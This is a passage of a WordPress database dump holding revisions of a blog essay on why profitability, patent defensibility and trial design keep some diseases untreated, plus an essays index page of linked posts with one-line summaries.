(189,1,'2021-08-16 20:13:14','0000-00-00 00:00:00','<!-- wp:paragraph -->\n<p>\"Drug discovery is broken\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That\'s probably how you thought I\'d start this essay, right? But I actually don\'t think that\'s the case. I think drug discovery in general is a lot better now than it has been in the recent past.</p>\n<!-- /wp:paragraph -->','What for-profit pharma can\'t do, non-profit pharma should do','','draft','closed','closed','','','','','2021-08-16 20:13:14','2021-08-16 20:13:14','',0,'https://trevorklee.com/?page_id=189',0,'page','',0),
(190,1,'2021-08-16 16:56:06','2021-08-16 16:56:06','<!-- wp:paragraph -->\n<p>I\'m going to state something obvious but easy to forget: whether or not certain diseases get treated is not just a science problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s easy to forget this. Whenever you read a breathless press release about a pharmaceutical breakthrough from a university or a corporation, they always brag about how their clever innovation does something unexpected, which ultimately results in the disease being cured, at least in mice or in their in-vitro model or whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, what they don\'t talk about is how that innovation will ultimately translate to patients. Universities don\'t care, because they figure that\'s the problem of whoever licenses the technology. Corporations, meanwhile, have already had those arguments with their investors, and by the time of the press release have already made up their mind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a pity, because I think this is a conversation that needs to be had. Getting from the point of a clever experiment to helping patients is very difficult, and not just from a scientific perspective. Among other things, your treatment also needs to be profitable, defensible, and able to show success in clinical trials. Treatments that fail one of these will not ever make it to human beings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Profitability</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the United States, pharmaceuticals are largely funded by private investors. Investors demand profitability, as is their right.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, that means a lot of treatments never see the light of day for want of profitability. Take new antibiotics, for instance. Everyone knows that the world has a problem with antibiotic resistance, and that we need new types of antibiotics to treat patients who are resistant to old types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s the problem, though: what do doctors plan to do with new antibiotics when they receive them? Well, they plan to only use them in extreme circumstances, when other antibiotics fail, so that bacteria don\'t develop resistance to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That makes a lot of sense, but that naturally limits the use of the drug to extreme circumstances. So, sales will be low. The only way for a pharmaceutical company to make a lot of revenue is by setting a very high drug price, which is possible, but goes against what people expect for antibiotics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, it\'s unlikely that any new antibiotic will be profitable on its own, making it an unattractive target for drug companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Defensibility</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are only two defenses that any new drug has from being copied: difficulty of manufacture and patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For repurposed drugs, only the latter defense applies. Unfortunately, that\'s often not enough. People forget that patents aren\'t a magic shield: they need to be backed up by lawsuits. If you can\'t sue the person infringing your patent, then it\'s a useless patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, generally speaking, it is impossible to sue doctors for patent infringement, both logistically and because it\'d be a PR nightmare. This means that any repurposed drug is likely going to face the issue of doctors prescribing it just using the generic, which means the drug company that actually did the studies will not make money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Success in clinical trials</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Seeing success in clinical trials is not the same thing as scientific success. Clinical trials are run in a very specific way, usually double-blind, with a clinically relevant endpoint and a placebo group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is usually a good way to run a clinical trial. It can also be really difficult to do successfully.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take aging, for instance, one of Silicon Valley\'s causes du jour. The clinically relevant endpoint for aging is, presumably, lifespan. So a trial on aging would need to show that lifespan is extended beyond what the placebo can do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is really difficult. People would need to take whatever drug that is for years, plus even longer if your study\'s muddled by people dying for other reasons. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running a clinical trial means paying for staff, administrators, and resources, including doctors, who are generally very well paid people. Paying a team of doctor for however many years an aging trial would take would be insanely expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','Some diseases will never be treated under our current paradigm','','inherit','closed','closed','','189-revision-v1','','','2021-08-16 16:56:06','2021-08-16 16:56:06','',189,'https://trevorklee.com/?p=190',0,'revision','',0),
(191,1,'2021-08-16 19:18:49','2021-08-16 19:18:49','<!-- wp:paragraph -->\n<p>I\'m going to state something obvious but easy to forget: whether or not certain diseases get treated is not just a science problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s easy to forget this. Whenever you read a breathless press release about a pharmaceutical breakthrough from a university or a corporation, they always brag about how their clever innovation does something unexpected, which ultimately results in the disease being cured, at least in mice or in their in-vitro model or whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, what they don\'t talk about is how that innovation will ultimately translate to patients. Universities don\'t care, because they figure that\'s the problem of whoever licenses the technology. Corporations, meanwhile, have already had those arguments with their investors, and by the time of the press release have already made up their mind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a pity, because I think this is a conversation that needs to be had. Getting from the point of a clever experiment to helping patients is very difficult, and not just from a scientific perspective. Among other things, your treatment also needs to be profitable, defensible, and able to show success in clinical trials. Treatments that fail one of these will not ever make it to human beings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Profitability</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the United States, pharmaceuticals are largely funded by private investors. Investors demand profitability, as is their right.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, that means a lot of treatments never see the light of day for want of profitability. Take new antibiotics, for instance. Everyone knows that the world has a problem with antibiotic resistance, and that we need new types of antibiotics to treat patients who are resistant to old types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s the problem, though: what do doctors plan to do with new antibiotics when they receive them? Well, they plan to only use them in extreme circumstances, when other antibiotics fail, so that bacteria don\'t develop resistance to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That makes a lot of sense, but that naturally limits the use of the drug to extreme circumstances. So, sales will be low. The only way for a pharmaceutical company to make a lot of revenue is by setting a very high drug price, which is possible, but goes against what people expect for antibiotics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, it\'s unlikely that any new antibiotic will be profitable on its own, making it an unattractive target for drug companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Defensibility</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are only two defenses that any new drug has from being copied: difficulty of manufacture and patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For repurposed drugs, only the latter defense applies. Unfortunately, that\'s often not enough. People forget that patents aren\'t a magic shield: they need to be backed up by lawsuits. If you can\'t sue the person infringing your patent, then it\'s a useless patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, generally speaking, it is impossible to sue doctors for patent infringement, both logistically and because it\'d be a PR nightmare. This means that any repurposed drug is likely going to face the issue of doctors prescribing it just using the generic, which means the drug company that actually did the studies will not make money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Success in clinical trials</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Seeing success in clinical trials is not the same thing as scientific success. Clinical trials are run in a very specific way, usually double-blind, with a clinically relevant endpoint and a placebo group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is usually a good way to run a clinical trial. It can also be really difficult to do successfully.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take aging, for instance, one of Silicon Valley\'s causes du jour. The clinically relevant endpoint for aging is, presumably, lifespan. So a trial on aging would need to show that lifespan is extended beyond what the placebo can do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is really difficult. People would need to take whatever drug that is for years, plus even longer if your study\'s muddled by people dying for other reasons. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running a clinical trial means paying for staff, administrators, and resources, including doctors, who are generally very well paid people. Paying a team of doctor for however many years an aging trial would take would be insanely expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, take Parkinson\'s. It\'s very difficult to run a trial in early stage Parkinson\'s because the early symptoms of decline are so well-masked by levodopa. The only way to measure whether a treatment is actually reversing the underlying neurodegeneration is to ask the patient to stop levodopa, which patients are reluctant to do, especially because they might be stopping treatment for placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The alternative</h2>\n<!-- /wp:heading -->','Some diseases will never be treated by pharmaceutical companies','','inherit','closed','closed','','189-revision-v1','','','2021-08-16 19:18:49','2021-08-16 19:18:49','',189,'https://trevorklee.com/?p=191',0,'revision','',0),
(193,1,'2021-08-19 14:46:50','2021-08-19 14:46:50','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-08-19 14:46:50','2021-08-19 14:46:50','',22,'https://trevorklee.com/?p=193',0,'revision','',0),
(194,1,'2021-08-19 14:47:02','2021-08-19 14:47:02','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 